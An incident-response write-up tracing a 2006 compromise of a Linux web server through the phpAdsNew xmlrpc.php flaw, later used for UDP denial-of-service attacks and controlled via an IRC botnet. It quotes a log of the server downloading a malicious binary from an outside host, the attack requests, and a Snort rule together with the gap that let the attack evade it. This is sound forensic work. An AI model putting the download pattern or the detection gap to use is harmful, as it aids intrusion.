2006-01-01 hunting the initial vector - Chas Tomlin (firstname.lastname@example.org) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The first hack of the year came earlier than expected for 2006, only hours into the year and a host fell victim to attackers. The network under attack is laid out something like below. The firewall/snort box is a Sguil sensor that runs snort, captures full content and also TCP session data. The sensor has around 200GB of disk space which is normally good to keep full pcap data for about two weeks. Alerts and session data are pushed up to a central Sguil database server. +----------+ +----------+ +----------+ | WAN | | Firewall | | 10/100 | 2Mb | ROUTER | 100Mb | | 100Mb | Switch | | | | Snort | | | +----------+ +----------+ +----------+ 100Mb +----------+ | | | Victim | | | +----------+ The first indication that something was amiss was 100% line utilization on the 2Mb WAN interface, the ISP who supplies the leased line informed us of this. The 10/100 switch is a managed device that runs SNMP, the switch is queried periodically by MRTG to produce traffic graphs for each connected host. From the MRTG graphs we could easily determine which host was hogging all the bandwidth. After logging into the offending Linux host a quick glance at the process list showed an unusual script called cw running, the host was then powered off. Before the server underwent physical analysis I reviewed the Sguil data to see if I could determine the initial vector of the attack. To my surprise there were no alerts relating to this host. So I turned to the full content data, however there was none of any use, only around 190GB of UDP junk. The host had been used in a denial of service attack against a host on the internet. Under normal conditions the Sguil sensor would be capable of storing two weeks of full content data before it would be overwritten this is due to traffic being limited by the 2Mb leased line. In this scenario the compromised host had a 100Mb path to the WAN router which passes the Sguil sensor. This meant that the full content data was over written in a matter of hours rather than weeks losing any full content record of the initial attack vector. The last type of data that the Sguil sensor stores is session. On this particular sensor session statistics are collected via a patch to Snort which only logs TCP sessions. This is not the preferred method for collecting session stats and usually sancp is used which collects ICMP, UDP and TCP data. I just haven't got round to installing sancp on this sensor, this might not have been a bad thing though. The DOS attack used UDP packets which weren't logged by the Sguil sensor, if I had been running sancp I suspect it would have generated a very large amount of session stats that might have made it difficult to analyse. So I began to look at the TCP sessions to and from the server around the time of the attack. The first sign of anything malicious was a session that looked like a backdoor to a remote server on port 6667 (IRC). So I decided to see if I could establish where the first backdoor session took place and look at the surrounding sessions for something that resembled an exploit. Again from web application exploit experience I knew I was looking for something that would look like a normal inbound connection to port 80 followed by the web server initiating an outbound session probably to port 80 to download some malicious code. I found a sequence of sessions that followed this exact pattern and determined that this was the initial vector. The server was exploited through a web application of some sort but without any further data available from Sguil it was necessary to turn to host based forensics. The server was removed from the rack in the data centre and moved to a different network for analysis. The single IDE hard drive that was in the server was removed from the chassis and placed into an analysis PC. The analysis PC runs a version of Linux developed in house that boots via PXE and runs from RAM. At this stage normally the disk is cloned and analysis takes place on the cloned disk, however time was at a premium so analysis took place on the original disk in read only mode. From experience of investigating compromised Linux web hosts I first looked in the /tmp directory for any files owned by the apache user. Unsurprisingly there were three files that fitted the bill. These were called cw, httpd and udp.pl. From the analysis PC the three files were copied to a remote file server for further investigation later. I then decided to see if the web server logs would give any indication of the initial vector. Apache log files on Red Hat Linux are typically found in /var/log/httpd, a quick look in this directory showed that the attacker had removed any access logs to hide their activity. However they didn't delete any of the error logs and one contained the following. httpd(1028): Operation not permitted --23:00:39-- http://members.lycos.co.uk/img0d/httpd => `httpd' Resolving members.lycos.co.uk... done. Connecting to members.lycos.co.uk[22.214.171.124]:80... connected. HTTP request sent, awaiting response... 200 OK Length: 29,124 [text/plain] 0K .......... .......... ........ 100% 148.91 KB/s 23:00:39 (148.91 KB/s) - `httpd' saved [29124/29124] At this point I could have worked through the web servers content and guessed what was used as the initial vector, but this seemed to inaccurate for my liking. So I turned to the files that the attacker had downloaded onto the server. Two of the files were binaries the other a perl script, the script was just a DOS tool for crafting UDP packets. Running strings over the two binaries revealed lots of useful information. The cw binary was pretty small and contained amongst other things the string; Cock whipping host : %s with leet packets Probably a DOS tool of some sort. The httpd binary was a little more interesting and running strings over it revealed many things including IRC commands and IP addresses. This looked like the backdoor that was being used to control the host. I still needed more information to determine the initial attack vector so I decided that I would try and connect up to the IRC server to see if this would reveal any more info. I found strings in the binary that looked like the IRC server IP address (which I already had from the session data) and the channel that the botnet was running on. I had connected up to botnets before using a simple perl script which would appear like the real thing but be completely dumb, and allow me to log any activity on the channel. So I altered my script to look like what I thought the backdoor would look like from analysing the binary and tried to hook up to the server. It didn't work, I tried a few more times but no luck. So I thought I would have to run the real binary on a test network to see how it would connect. I ran up VMWare and installed a basic version of Red Hat Linux 9 with no patches. I made sure I had Sguil monitoring the network and I started the backdoor, let it connect then suspended the virtual machine. I pulled up the full content data in ethereal and noted the exact details of how the client connected. I then altered my IRC perl script to mimic the client as closely as possible and was able to hook up to the IRC server. It wasn't long before I noticed some operators on the channel actually chatting to each other. I was amazed that they were doing this so openly and I followed their conversation. Much to my surprise one operator revealed how he was exploiting all the hosts, using the old xmlrpc vulnerability. I checked back on the server and sure enough found the vulnerable xmlrpc.php file. I decided that I would try and recover the deleted log files to see if this would confirm what the 'hackers' claimed. I used netcat and dd to make an image of the / partition and store it on a remote machine. This took a while but once done I had a single file that held the contents of the entire root partition. I ran strings over the file searching for what I thought to be the initial attack source IP address. After a while even I was surprised when my terminal revealed; # strings hda2 |grep "126.96.36.199" 188.8.131.52 - - [01/Jan/2006:22:07:27 +0000] "POST /phpAdsNew/adxmlrpc.php HTTP/1.1" 200 375 "-" "Internet Explorer 6.0" 184.108.40.206 - - [01/Jan/2006:22:54:14 +0000] "POST /phpAdsNew/adxmlrpc.php HTTP/1.1" 200 375 "-" "Internet Explorer 6.0" 220.127.116.11 - - [01/Jan/2006:22:55:09 +0000] "POST /phpAdsNew/adxmlrpc.php HTTP/1.1" 200 375 "-" "Internet Explorer 6.0" 18.104.22.168 - - [01/Jan/2006:22:56:03 +0000] "POST /phpAdsNew/adxmlrpc.php HTTP/1.1" 200 375 "-" "Internet Explorer 6.0" 22.214.171.124 - - [01/Jan/2006:22:57:06 +0000] "POST /phpAdsNew/adxmlrpc.php HTTP/1.1" 200 375 "-" "Internet Explorer 6.0" 126.96.36.199 - - [01/Jan/2006:22:57:59 +0000] "POST /phpAdsNew/adxmlrpc.php HTTP/1.1" 200 375 "-" "Internet Explorer 6.0" 188.8.131.52 - - [01/Jan/2006:22:58:54 +0000] "POST /phpAdsNew/adxmlrpc.php HTTP/1.1" 200 375 "-" "Internet Explorer 6.0" 184.108.40.206 - - [01/Jan/2006:22:59:46 +0000] "POST /phpAdsNew/adxmlrpc.php HTTP/1.1" 200 375 "-" "Internet Explorer 6.0" Bingo! Resources ~~~~~~~~~
the simple perl IRC client
PXE forensic client
Questions and Answers ~~~~~~~~~~~~~~~~~~~~~ Q.)Why was there no alert for the initial vector from Snort? A.)This sensor runs the official Snort ruleset which currently conatins the following rule for detecting the xmlrpc.php exploit; alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"WEB-PHP xmlrpc.php post attempt"; flow:to_server,established; uricontent:"/xmlrpc.php"; nocase; pcre:"/^POST\s/smi"; reference:bugtraq,14088; reference:cve,2005-1921; classtype:web-application-attack; sid:3827; rev:1;) the phpAdsNew install prefixes the xmlrpc.php file with ad (adxmlrpc.php) which will not be matched by the official Snort rule :( Q.)Did the attackers do anything else on the host? A.)The attackers did not install any further rootkit or escalate privileges past that of the apache user. The apache user provided them with enough privileges to DOS other hosts on the internet which was enough for them in the short time that the machine was compromised. Later monitoring of the IRC channel revealed they would install rootkits on the hosts manually picking those hosts with older kernels probably so they can use older do_brk and mmap exploits to escalate privileges.